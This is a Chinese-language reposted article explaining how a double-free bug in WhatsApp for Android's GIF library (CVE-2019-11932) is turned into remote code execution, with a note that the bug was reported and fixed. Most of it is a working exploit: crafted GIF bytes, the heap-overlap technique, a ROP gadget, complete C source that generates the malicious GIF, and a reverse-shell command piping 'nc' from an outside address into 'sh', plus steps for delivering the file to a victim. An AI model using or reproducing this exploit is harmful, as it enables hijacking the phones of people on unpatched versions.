您好,登錄后才能下訂單哦!
這篇文章給大家介紹如何將WhatsApp中的雙重釋放漏洞變成RCE漏洞,內(nèi)容非常詳細(xì),感興趣的小伙伴們可以參考借鑒,希望對大家能有所幫助。
我將跟大家討論我在WhatsApp Android端應(yīng)用程序中找到的一個(gè)雙重釋放漏洞(CVE-2019-11932),并且我會將該漏洞轉(zhuǎn)變成一個(gè)遠(yuǎn)程代碼執(zhí)行漏洞。目前,我已經(jīng)將漏洞信息上報(bào)給了Facebook,F(xiàn)acebook也在官方發(fā)布的WhatsApp v2.19.244中修復(fù)了該漏洞。
因此,我們建議廣大用戶盡快升級至最新版本的WhatsApp(v2.19.244及以上版本)以保護(hù)自己的安全。
如果Google Drive主鏈無法訪問的話,可以直接使用備用鏈接。
1、00:16,攻擊者通過任意信道向目標(biāo)用戶發(fā)送了一個(gè)GIF文件,其中的一個(gè)就是通過WhatsApp發(fā)送的附件文件。比如說,點(diǎn)擊“附件”按鈕,選擇GIF圖片文件,然后點(diǎn)擊發(fā)送。如果攻擊者在目標(biāo)用戶的聯(lián)系人列表中,那么目標(biāo)用戶的設(shè)備就會自動(dòng)下載GIF,整個(gè)過程無需額外的用戶交互。
2、00:24,目標(biāo)用戶想要給TA的WhatsApp好友發(fā)送一個(gè)多媒體文件,那么TA就會點(diǎn)擊“附件”并打開設(shè)備的圖片庫,然后選擇需要發(fā)送的多媒體文件。需要注意的是,目標(biāo)用戶一旦打開了WhatsApp圖片庫,便會觸發(fā)該漏洞,而無需進(jìn)行其他操作。
3、00:30,由于WhatsApp會顯示所有多媒體文件的縮略圖,此時(shí)將會觸發(fā)雙重釋放漏洞并執(zhí)行我們的RCE漏洞利用代碼。
libpl_droidsonroids_gif庫中的雙重釋放漏洞
當(dāng)WhatsApp用戶在WhatsApp中打開圖片庫并選取多媒體文件時(shí),WhatsApp將會調(diào)用libpl_droidsonroids_gif.so原生庫來對文件進(jìn)行解析,并生成GIF文件的縮略圖。libpl_droidsonroids_gif.so是一個(gè)開源代碼庫,源碼可以點(diǎn)擊【這里】獲取。
一個(gè)GIF文件中可以包含多個(gè)編碼幀,為了存儲解碼后的幀,WhatasApp圖片庫將使用名為rasterBits的緩沖區(qū)。如果所有幀的大小相同,rasterBits緩沖區(qū)則會被重復(fù)使用,無需重新分配。 但是如果滿足以下三個(gè)條件中的一個(gè),則仍會重新分配:
width height > originalWidth originalHeight
width – originalWidth > 0
height – originalHeight > 0
緩沖區(qū)重新分配需要使用到free和malloc函數(shù),如果重新分配的幀尺寸為0,則會直接釋放。假設(shè)有一個(gè)三幀的GIF文件,尺寸分別為100、0和0。那么:
1、第一次重新分配后,我們有大小為100的info-> rasterBits緩沖區(qū)。
2、第二次重新分配0時(shí),則會釋放info-> rasterBits緩沖區(qū)。
3、在第三次重新分配0時(shí),再次釋放info-> rasterBits緩沖區(qū)。
很明顯,這就是雙重釋放漏洞的成因,觸發(fā)位置在decoding.c中:
int_fast32_t widthOverflow = gifFilePtr->Image.Width - info->originalWidth;int_fast32_t heightOverflow = gifFilePtr->Image.Height - info->originalHeight;const uint_fast32_t newRasterSize = gifFilePtr->Image.Width * gifFilePtr->Image.Height;if (newRasterSize > info->rasterSize || widthOverflow > 0 || heightOverflow > 0) { void *tmpRasterBits = reallocarray(info->rasterBits, newRasterSize, <<-- double-free here sizeof(GifPixelType)); if (tmpRasterBits == NULL) { gifFilePtr->Error = D_GIF_ERR_NOT_ENOUGH_MEM; break; } info->rasterBits = tmpRasterBits; info->rasterSize = newRasterSize;}
在Android中,如果對大小為N的內(nèi)存進(jìn)行雙重釋放,則會導(dǎo)致兩個(gè)大小為N的內(nèi)存被分配相同地址。
(lldb) expr int $foo = (int) malloc(112)(lldb) p/x $foo(int) $14 = 0xd379b250(lldb) p (int)free($foo)(int) $15 = 0(lldb) p (int)free($foo)(int) $16 = 0(lldb) p/x (int)malloc(12)(int) $17 = 0xd200c350(lldb) p/x (int)malloc(96)(int) $18 = 0xe272afc0(lldb) p/x (int)malloc(180)(int) $19 = 0xd37c30c0(lldb) p/x (int)malloc(112)(int) $20 = 0xd379b250(lldb) p/x (int)malloc(112)(int) $21 = 0xd379b250
上述代碼段中,$foo被釋放了兩次,這將導(dǎo)致$20和$21返回相同的地址。
接下來,我們看看gif.h文件中的GifInfo結(jié)構(gòu)體:
struct GifInfo { void (*destructor)(GifInfo *, JNIEnv *); <<-- there's a function pointer here GifFileType *gifFilePtr; GifWord originalWidth, originalHeight; uint_fast16_t sampleSize; long long lastFrameRemainder; long long nextStartTime; uint_fast32_t currentIndex; GraphicsControlBlock *controlBlock; argb *backupPtr; long long startPos; unsigned char *rasterBits; uint_fast32_t rasterSize; char *comment; uint_fast16_t loopCount; uint_fast16_t currentLoop; RewindFunc rewindFunction; <<-- there's another function pointer here jfloat speedFactor; uint32_t stride; jlong sourceLength; bool isOpaque; void *frameBufferDescriptor;};
接下來,嘗試構(gòu)造下面尺寸的GIF文件(三幀):
sizeof(GifInfo),0,0
打開WhatsApp圖片庫之后,將觸發(fā)rasterBits緩沖區(qū)上大小為sizeof(GifInfo)的雙重釋放。有趣的是,WhatsApp圖片庫中的GIF文件會被解析兩次。當(dāng)GIF文件再次被解析時(shí),將創(chuàng)建一個(gè)GifInfo對象。根據(jù)Android中的雙重釋放漏洞特性,GifInfo info對象和info-> rasterBits會指向相同地址。然后,DDGifSlurp()函數(shù)將解碼第一幀給info-> rasterBits緩沖區(qū),這會覆蓋掉info和它的rewindFunction()函數(shù)(該函數(shù)位于DDGifSlurp()的末尾處)。
我們構(gòu)造的GIF文件如下:
47 49 46 38 39 61 18 00 0A 00 F2 00 00 66 CC CC FF FF FF 00 00 00 33 99 66 99 FF CC 00 00 00 00 00 00 00 00 00 2C 00 00 00 00 08 00 15 00 00 08 9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 F0 CE 57 2B 6F EE FF FF 2C 00 00 00 00 1C 0F 00 00 00 00 2C 00 00 00 00 1C 0F 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2C 00 00 00 00 18 00 0A 00 0F 00 01 00 00 3B
它包含以下四個(gè)幀:
2C 00 00 00 00 08 00 15 00 00 08 9C 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00F0 CE 57 2B 6F EE FF FF
2C 00 00 00 00 1C 0F 00 00 00 00
2C 00 00 00 00 1C 0F 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00
2C 00 00 00 00 18 00 0A 00 0F 00 01 00 00
初始化:
GifInfo *info = malloc(168);
Frame 1:
info->rasterBits = reallocarray(info->rasterBits, 0x8*0x15, 1);
Frame 2:
info->rasterBits = reallocarray(info->rasterBits, 0x0*0xf1c, 1);
Frame 3:
info->rasterBits = reallocarray(info->rasterBits, 0x0*0xf1c, 1);
Frame 4:
主要負(fù)責(zé)讓這個(gè)GIF文件生效。
初始化:
GifInfo *info = malloc(168);
Frame 1:
info->rasterBits = reallocarray(info->rasterBits, 0x8*0x15, 1);
Frame 2, 3, 4:
省略
End:
info->rewindFunction(info);
由于第一次解析中的雙重釋放問題,導(dǎo)致info和info-> rasterBits現(xiàn)指向相同位置。在第二次解析中,已按照預(yù)期處理第一幀。那么當(dāng)info->rewindFunction(info)被調(diào)用時(shí),我們就可以控制rewindFunction和PC了。需要注意,上面的這些幀過了LZW編碼,并且必須使用LZW編碼器來處理GIF圖片幀。
這張GIF文件將導(dǎo)致應(yīng)用崩潰:
--------- beginning of crash10-02 11:09:38.460 17928 18059 F libc : Fatal signal 6 (SIGABRT), code -6 in tid 18059 (image-loader), pid 17928 (com.whatsapp)10-02 11:09:38.467 1027 1027 D QCOM PowerHAL: LAUNCH HINT: OFF10-02 11:09:38.494 18071 18071 I crash_dump64: obtaining output fd from tombstoned, type: kDebuggerdTombstone10-02 11:09:38.495 1127 1127 I /system/bin/tombstoned: received crash request for pid 1792810-02 11:09:38.497 18071 18071 I crash_dump64: performing dump of process 17928 (target tid = 18059)10-02 11:09:38.497 18071 18071 F DEBUG : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***10-02 11:09:38.497 18071 18071 F DEBUG : Build fingerprint: 'google/taimen/taimen:8.1.0/OPM1.171019.011/4448085:user/release-keys'10-02 11:09:38.497 18071 18071 F DEBUG : Revision: 'rev_10'10-02 11:09:38.497 18071 18071 F DEBUG : ABI: 'arm64'10-02 11:09:38.497 18071 18071 F DEBUG : pid: 17928, tid: 18059, name: image-loader >>> com.whatsapp <<<10-02 11:09:38.497 18071 18071 F DEBUG : signal 6 (SIGABRT), code -6 (SI_TKILL), fault addr --------10-02 11:09:38.497 18071 18071 F DEBUG : x0 0000000000000000 x1 000000000000468b x2 0000000000000006 x3 000000000000000810-02 11:09:38.497 18071 18071 F DEBUG : x4 0000000000000000 x5 0000000000000000 x6 0000000000000000 x7 7f7f7f7f7f7f7f7f10-02 11:09:38.497 18071 18071 F DEBUG : x8 0000000000000083 x9 0000000010000000 x10 0000007da3c81cc0 x11 000000000000000110-02 11:09:38.497 18071 18071 F DEBUG : x12 0000007da3c81be8 x13 ffffffffffffffff x14 ff00000000000000 x15 ffffffffffffffff10-02 11:09:38.497 18071 18071 F DEBUG : x16 00000055b111efa8 x17 0000007e2bb3452c x18 0000007d8ba9bad8 x19 000000000000460810-02 11:09:38.497 18071 18071 F DEBUG : x20 000000000000468b x21 0000000000000083 x22 0000007da3c81e48 x23 00000055b111f3f010-02 11:09:38.497 18071 18071 F DEBUG : x24 0000000000000040 x25 0000007d8bbff588 x26 00000055b1120670 x27 000000000000000b10-02 11:09:38.497 18071 18071 F DEBUG : x28 00000055b111f010 x29 0000007da3c81d00 x30 0000007e2bae976010-02 11:09:38.497 18071 18071 F DEBUG : sp 0000007da3c81cc0 pc 0000007e2bae9788 pstate 000000006000000010-02 11:09:38.499 18071 18071 F DEBUG :10-02 11:09:38.499 18071 18071 F DEBUG : backtrace:10-02 11:09:38.499 18071 18071 F DEBUG : #00 pc 000000000001d788 /system/lib64/libc.so (abort+120)10-02 11:09:38.499 18071 18071 F DEBUG : #01 pc 0000000000002fac /system/bin/app_process64 (art::SignalChain::Handler(int, siginfo*, void*)+1012)10-02 11:09:38.499 18071 18071 F DEBUG : #02 pc 00000000000004ec [vdso:0000007e2e4b0000]10-02 11:09:38.499 18071 18071 F DEBUG : #03 pc deadbeeefffffffc <unknown>
拿到PC控制權(quán)之后,我們可以嘗試實(shí)現(xiàn)RCE攻擊。我們的目的是執(zhí)行下列命令:
system("toybox nc 192.168.2.72 4444 | sh");
此時(shí)需要使用到libc.so中的system()函數(shù),并將PC指向該函數(shù),X0指向“ toybox nc 192.168.2.72 4444 | sh”。首先,讓PC跳轉(zhuǎn)到一個(gè)中間件,中間件需要設(shè)置X0來指向"toybox nc 192.168.2.72 4444 | sh"并跳轉(zhuǎn)到system()。查看info->rewindFunction(info)的反匯編代碼,可以看到X0和X19都指向了info-> rasterBits(或者說info,它們都指向相同的位置),而X8實(shí)際指向的是info-> rewindFunction。
libhwui.so中有一個(gè)中間件正好符合我們的條件:
ldr x8, [x19, #0x18]add x0, x19, #0x20blr x8
假設(shè)上面這個(gè)gatget地址為AAAAAAAA,而system()函數(shù)的地址為BBBBBBBB。那么在LZW編碼之前,構(gòu)造rasterBits緩沖區(qū)(幀1)的內(nèi)容如下:
00000000: 0000 0000 0000 0000 0000 0000 0000 0000 ................00000010: 0000 0000 0000 0000 4242 4242 4242 4242 ........BBBBBBBB00000020: 746f 7962 6f78 206e 6320 3139 322e 3136 toybox nc 192.1600000030: 382e 322e 3732 2034 3434 3420 7c20 7368 8.2.72 4444 | sh00000040: 0000 0000 0000 0000 0000 0000 0000 0000 ................00000050: 0000 0000 0000 0000 0000 0000 0000 0000 ................00000060: 0000 0000 0000 0000 0000 0000 0000 0000 ................00000070: 0000 0000 0000 0000 0000 0000 0000 0000 ................00000080: 4141 4141 4141 4141 eeff AAAAAAAA..
大家可以直接下載并編譯我提供的代碼:【傳送門】。
需要注意,system()的地址以及中間件必須使用實(shí)際地址進(jìn)行替換:
/* Gadget g1: ldr x8, [x19, #0x18] add x0, x19, #0x20 blr x8 */ size_t g1_loc = 0x7cb81f0954; <<-- replace this memcpy(buffer + 128, &g1_loc, 8); size_t system_loc = 0x7cb602ce84; <<-- replace thismemcpy(buffer + 24, &system_loc, 8);
運(yùn)行代碼,生成GIF文件:
notroot@osboxes:~/Desktop/gif$ make...............notroot@osboxes:~/Desktop/gif$ ./exploit exploit.gifbuffer = 0x7ffc586cd8b0 size = 26647 49 46 38 39 61 18 00 0A 00 F2 00 00 66 CC CCFF FF FF 00 00 00 33 99 66 99 FF CC 00 00 00 0000 00 00 00 00 2C 00 00 00 00 08 00 15 00 00 089C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 84 9C 09 B0C5 07 00 00 00 74 DE E4 11 F3 06 0F 08 37 63 40** C8 21 C3 45 0C 1B 38 5C C8 70 71 43 06 08 1A34 68 D0 00 C1 07 ** 1C 34 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 54 12 7C C0 C5 07 00 00 00 EE FF FF 2C 00 0000 00 1C 0F 00 00 00 00 2C 00 00 00 00 1C 0F 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 2C 00 00 00 0018 00 0A 00 0F 00 01 00 00 3B
復(fù)制上述代碼到GIF文件中,然后將其以文檔的形式發(fā)送給目標(biāo)用戶。需要注意的是,我們不能將其以媒體文件發(fā)送,否則WhatsApp會自動(dòng)將其轉(zhuǎn)換為MP4格式。目標(biāo)用戶收到GIF文件后,除非打開WhatsApp圖片庫,否則不會出現(xiàn)任何異常情況。
#include "gif_lib.h"#define ONE_BYTE_HEX_STRING_SIZE 3static inline voidget_hex(char *buf, int buf_len, char* hex_, int hex_len, int num_col) { int i; unsigned int byte_no = 0; if (buf_len <= 0) { if (hex_len > 0) { hex_[0] = ''; } return; } if(hex_len < ONE_BYTE_HEX_STRING_SIZE + 1) return; do { for (i = 0; ((i < num_col) && (buf_len > 0) && (hex_len > 0)); ++i ) { snprintf(hex_, hex_len, "%02X ", buf[byte_no++] & 0xff); hex_ += ONE_BYTE_HEX_STRING_SIZE; hex_len -=ONE_BYTE_HEX_STRING_SIZE; buf_len--; } if (buf_len > 1) { snprintf(hex_, hex_len, "n"); hex_ += 1; } } while ((buf_len) > 0 && (hex_len > 0));}int genLine_0(unsigned char *buffer) {/* 00000000: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000010: 0000 0000 0000 0000 4242 4242 4242 4242 ........BBBBBBBB 00000020: 746f 7962 6f78 206e 6320 3139 322e 3136 toybox nc 192.16 00000030: 382e 322e 3732 2034 3434 3420 7c20 7368 8.2.72 4444 | sh 00000040: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000050: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000060: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000070: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000080: 4141 4141 4141 4141 eeff AAAAAAAA.. Over-write AAAAAAAA with address of gadget 1 Over-write BBBBBBBB with address of system() function Gadget 1 ldr x8, [x19, #0x18] add x0, x19, #0x20 blr x8*/ unsigned char hexData[138] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xEF, 0xBE, 0xAD, 0xDE, 0xEE, 0xFF }; memcpy(buffer, hexData, sizeof(hexData)); /* Gadget g1: ldr x8, [x19, #0x18] add x0, x19, #0x20 blr x8 */ size_t g1_loc = 0x7cb81f0954; memcpy(buffer + 128, &g1_loc, 8); size_t system_loc = 0x7cb602ce84; memcpy(buffer + 24, &system_loc, 8); char *command = "toybox nc 192.168.2.72 4444 | sh"; memcpy(buffer + 32, command, strlen(command)); return sizeof(hexData);};int main(int argc, char *argv[]) { GifFilePrivateType Private = { .Buf[0] = 0, .BitsPerPixel = 8, .ClearCode = 256, .EOFCode = 257, .RunningCode = 258, .RunningBits = 9, .MaxCode1 = 512, .CrntCode = FIRST_CODE, .CrntShiftState = 0, .CrntShiftDWord = 0, .PixelCount = 112, .OutBuf = { 0 }, .OutBufLen = 0 }; int size = 0; unsigned char buffer[1000] = { 0 }; unsigned char line[500] = { 0 }; int line_size = genLine_0(line); EGifCompressLine(&Private, line, line_size); unsigned char starting[48] = { 0x47, 0x49, 0x46, 0x38, 0x39, 0x61, 0x18, 0x00, 0x0A, 0x00, 0xF2, 0x00, 0x00, 0x66, 0xCC, 0xCC, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x33, 0x99, 0x66, 0x99, 0xFF, 0xCC, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2C, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x15, 0x00, 0x00, 0x08 }; unsigned char padding[2] = { 0xFF, 0xFF }; unsigned char ending[61] = { 0x2C, 0x00, 0x00, 0x00, 0x00, 0x1C, 0x0F, 0x00, 0x00, 0x00, 0x00, 0x2C, 0x00, 0x00, 0x00, 0x00, 0x1C, 0x0F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2C, 0x00, 0x00, 0x00, 0x00, 0x18, 0x00, 0x0A, 0x00, 0x0F, 0x00, 0x01, 0x00, 0x00, 0x3B }; // starting bytes memcpy(buffer + size, starting, sizeof(starting)); size += sizeof(starting); // size of encoded line + padding int tmp = Private.OutBufLen + sizeof(padding); buffer[size++] = tmp; // encoded-line bytes memcpy(buffer + size, Private.OutBuf, Private.OutBufLen); size += Private.OutBufLen; // padding bytes of 0xFFs to trigger info->rewind(info); memcpy(buffer + size, padding, sizeof(padding)); size += sizeof(padding); // ending bytes memcpy(buffer + size, ending, sizeof(ending)); size += sizeof(ending); char hex_dump[5000]; get_hex(buffer, size, hex_dump, 5000, 16); printf("buffer = %p size = %dn%sn", buffer, size, hex_dump);}egif_lib.c#include <stdlib.h>#include <stdio.h>#include <string.h>#include "gif_lib.h"static int EGifBufferedOutput(GifFilePrivateType *Private, int c) { Private->Buf[0] = 0; Private->Buf[++(Private->Buf[0])] = c; Private->OutBuf[Private->OutBufLen++] = c; return GIF_OK;}static int EGifCompressOutput(GifFilePrivateType *Private, const int Code){ int retval = GIF_OK; if (Code == FLUSH_OUTPUT) { while (Private->CrntShiftState > 0) { /* Get Rid of what is left in DWord, and flush it. */ if (EGifBufferedOutput(Private, Private->CrntShiftDWord & 0xff) == GIF_ERROR) retval = GIF_ERROR; Private->CrntShiftDWord >>= 8; Private->CrntShiftState -= 8; } Private->CrntShiftState = 0; /* For next time. */ if (EGifBufferedOutput(Private, FLUSH_OUTPUT) == GIF_ERROR) retval = GIF_ERROR; } else { Private->CrntShiftDWord |= ((long)Code) << Private->CrntShiftState; Private->CrntShiftState += Private->RunningBits; while (Private->CrntShiftState >= 8) { /* Dump out full bytes: */ if (EGifBufferedOutput(Private, Private->CrntShiftDWord & 0xff) == GIF_ERROR) retval = GIF_ERROR; Private->CrntShiftDWord >>= 8; Private->CrntShiftState -= 8; } } /* If code cannt fit into RunningBits bits, must raise its size. Note */ /* however that codes above 4095 are used for special signaling. */ if (Private->RunningCode >= Private->MaxCode1 && Code <= 4095) { Private->MaxCode1 = 1 << ++Private->RunningBits; } return retval;}int EGifCompressLine(GifFilePrivateType *Private, unsigned char *Line, const int LineLen){ int i = 0, CrntCode, NewCode; unsigned long NewKey; GifPixelType Pixel; if (Private->CrntCode == FIRST_CODE) /* Its first time! */ CrntCode = Line[i++]; else CrntCode = Private->CrntCode; /* Get last code in compression. */ while (i < LineLen) { /* Decode LineLen items. */ Pixel = Line[i++]; /* Get next pixel from stream. */ if (EGifCompressOutput(Private, CrntCode) == GIF_ERROR) { return GIF_ERROR; } CrntCode = Pixel; /* If however the HashTable if full, we send a clear first and * Clear the hash table. */ if (Private->RunningCode >= LZ_MAX_CODE) { /* Time to do some clearance: */ if (EGifCompressOutput(Private, Private->ClearCode) == GIF_ERROR) { return GIF_ERROR; } Private->RunningCode = Private->EOFCode + 1; Private->RunningBits = Private->BitsPerPixel + 1; Private->MaxCode1 = 1 << Private->RunningBits; } } /* Preserve the current state of the compression algorithm: */ Private->CrntCode = CrntCode; if (Private->PixelCount == 0) { /* We are done - output last Code and flush output buffers: */ if (EGifCompressOutput(Private, CrntCode) == GIF_ERROR) { return GIF_ERROR; } if (EGifCompressOutput(Private, Private->EOFCode) == GIF_ERROR) { return GIF_ERROR; } if (EGifCompressOutput(Private, FLUSH_OUTPUT) == GIF_ERROR) { return GIF_ERROR; } } return GIF_OK;}
關(guān)于如何將WhatsApp中的雙重釋放漏洞變成RCE漏洞就分享到這里了,希望以上內(nèi)容可以對大家有一定的幫助,可以學(xué)到更多知識。如果覺得文章不錯(cuò),可以把它分享出去讓更多的人看到。
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。